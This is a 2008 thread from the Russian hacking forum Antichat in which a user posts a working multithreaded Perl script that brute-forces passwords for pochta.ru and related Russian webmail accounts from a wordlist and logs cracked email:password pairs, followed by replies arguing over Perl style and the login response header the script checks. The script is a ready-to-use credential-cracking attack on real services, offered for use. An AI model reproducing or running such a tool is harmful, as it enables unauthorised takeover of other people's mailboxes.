ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Pochta.ru Multithreads Brutforce [perl]
  #1  
Старый 13.05.2008, 20:09
Аватар для ZAMUT
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию Pochta.ru Multithreads Brutforce [perl]

Код:
#!/usr/bin/perl
#################################################################################################
################################Pochta.ru Multithreads Brutforce by ZAMUT####################
#(pochta.ru,fromru.com,front.ru,hotbox.ru,hotmail.ru,krovatka.su,land.ru,mail15.com,mail333.com,#
# newmail.ru,nightmail.ru,nm.ru,pisem.net,pochtamt.ru,pop3.ru,rbcmail.ru,smtp.ru)################
# Запускаем brut.pl xx, где xx - кол-во потоков
# plist.txt - Словарь паролей
# good.txt  - Файл для сбрученных паролей 
#################################################################################################
#############################################Antichat.ru#########################################
use IO::Socket;
use strict;
use warnings;
use threads;
use threads::shared;
my  @pass:shared;

my $threads = $ARGV[0];
open IN, "<plist.txt";
print 'Email:';
chomp(my $up =<STDIN>);
my($u,$p) = undef;
($u,$p)=split('\@',$up);
Next:
@pass = list();

for(0..$threads) {threads->create(\&brut, $_);}
for(threads->list) {$_->join; }

sub brut
{
 while (@pass)
 {
  my $pas = shift @pass;
  my $socket = IO::Socket::INET->new('pochta.ru:80') || die("Can't connecting!");
  print $socket "GET /login.php?reason=login&lng=&rnd=11111122&back=&user=$u&domain=$p&pass=$pas&long_session=1 HTTP/1.0\n\n";
  while(<$socket>)
  {
	 my $s = <$socket>;
	 if($s=~/login=/) 
		 {  open  GOOD,'>>good.txt'; 
	            print GOOD "$up:$pas\n";
		    print "\n$up:$pas\n";
		    close GOOD;
		    close $socket; 
		    exit; }
  }
  close $socket;
 }
}
goto Next;

sub list
{
	my (@mas);
	while (<IN>){
	push @mas, $_;
	last if (@mas == 500);
	}
	chomp @mas;
	return @mas;
};
з.ы.
На канале 2 Мб/c при 30 потоках, скорость ~45-50 п/c. Дальше - больше

Последний раз редактировалось ZAMUT; 14.05.2008 в 01:01..
 
Ответить с цитированием

  #2  
Старый 13.05.2008, 20:53
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Код:
my $socket = IO::Socket::INET->new(
  PeerAddr => $host, 
  PeerPort => $port,
  Proto => 'tcp',
  Type => SOCK_STREAM)...
проще так:
Код:
my $socket = IO::Socket::INET->new('pochta.ru:80')...
Код:
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Пропустил объявление массива @trl;
Код:
my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Код:
open  good,'>>good.txt';
Дескрипторы принято писать заглавными буквами
Код:
open  GOOD,'>>good.txt';
ещё куча ошибок....
Код:
use strict; 
use warnings;
use diagnostics;

Последний раз редактировалось demonoid; 13.05.2008 в 20:56..
 
Ответить с цитированием

  #3  
Старый 13.05.2008, 21:12
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

впринципе неплохо,советую юзать Lwp дабы не было такого громоздкого кода
 
Ответить с цитированием

  #4  
Старый 13.05.2008, 21:19
Аватар для ZAMUT
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию

baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.
 
Ответить с цитированием

  #5  
Старый 13.05.2008, 21:22
Аватар для Piflit
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
Сообщение от ZAMUT  
baltazar, нет. Тк скорость заметно упадет, я бы даже сказал в разы.
это почему?
 
Ответить с цитированием

  #6  
Старый 13.05.2008, 22:37
Аватар для ZAMUT
ZAMUT
Members of Antichat - Level 5
Регистрация: 24.10.2007
Сообщений: 256
Провел на форуме:
6905523

Репутация: 1174
По умолчанию

Вообщем так. .
demonoid, спс поправил . эт не мега релиз =) но замечание уместно. и если на то пошло, то массв объявлять уж точно не в цикле

Почему не LWP ? потому, что
мне от ответа всего лишь нужно
Код:
Server: nginx/0.5.35
Content-Type: text/html; charset=windows-1251
X-Powered-By: PHP/5.2.3
Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
Set-Cookie: id_lifetime=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=pochta.ru
Set-Cookie: id=deleted; expires=Mon, 14-May-2007 18:11:35 GMT; path=/; domain=.www.pochta.ru
Set-Cookie: login=bla; expires=Wed, 13-May-2009 18:11:36 GMT; path=/; domain=.www.pochta.ru
 
Ответить с цитированием

  #7  
Старый 13.05.2008, 23:24
Аватар для genom--
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

Код:
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
Пропустил объявление массива @trl;
Код:
my @trl;
for(0..$threads) {$trl[$_] = threads->create(\&brut, $_);}
аз его тут объявлять при простом присвоении его и так создаст -- херню написал

Код:
open  good,'>>good.txt';
Дескрипторы принято писать заглавными буквами
Код:
open  GOOD,'>>good.txt';
кем принято??? айзербайджанцами??? как хочет так и пишет -- левый доеп

ещё куча ошибок....
Код:
use strict; 
use warnings;
use diagnostics;
[/QUOTE]

это его вопросы юзать стрикт или нет -- это не ошибка нифига
 
Ответить с цитированием

  #8  
Старый 14.05.2008, 00:04
Аватар для demonoid
demonoid
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме:
4094601

Репутация: 495
По умолчанию

Естественно объявление массива не должно было быть в цикле пропустил многоточие xD

genom--
сердечно благодарю тебя за минусы xD
Код:
perldoc -f open
ув.читайте документацию
неверно
Код:
use strict; 
use warnings;

open f,'>>','file.txt';
close f;
ошибка
Код:
Unquoted string "f" may clash with future reserved word at ..pl line 4.
Unquoted string "f" may clash with future reserved word at ..pl line 5.
Название дескриптора, как правило, пишут заглавными буквами, чтобы исключить совпадение с зарезервированными словами
Код:
".....
Лучше заключить такое слово в кавычки  
или как-то выделить заглавными буквами , или 
вставить в него подчёркивание ......"
верно

Код:
use strict; 
use warnings;

open F,'>>','file.txt';
close F;
Код:
use strict; 
use warnings;

open _f,'>>','file.txt';
close _f;
PS: Не кто не до кого не `доеп` , все мы нормальные люди , не `быдлокодеры` давайте выражать свои мысли более тактично ?

Последний раз редактировалось demonoid; 14.05.2008 в 00:29..
 
Ответить с цитированием

  #9  
Старый 14.05.2008, 14:48
Аватар для genom--
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

ты хоть понял что сам написал -- мы вообщето говорил?? КАКАЯ РАЗНИЦА большими писать дескриптор или нет -- а то что ты привел из перлдока вообще невтему
 
Ответить с цитированием

  #10  
Старый 14.05.2008, 14:53
Аватар для genom--
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

зарезервированные слова порабы уже знать это раз
open F,'>>','file.txt'; -- это трындец open F,'>>file.txt'; минус 3 левых символа --- это во вторых
в третьих выкинь свой учебник на помойку
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Регер аккаунтов на Pochta.Ru sai_NT Разное - Покупка, продажа, обмен 10 06.05.2008 18:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ